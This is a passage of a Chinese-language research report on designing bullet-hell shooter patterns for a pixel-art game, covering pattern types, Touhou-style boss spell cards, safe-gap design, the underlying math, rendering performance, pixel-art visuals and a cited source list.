控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 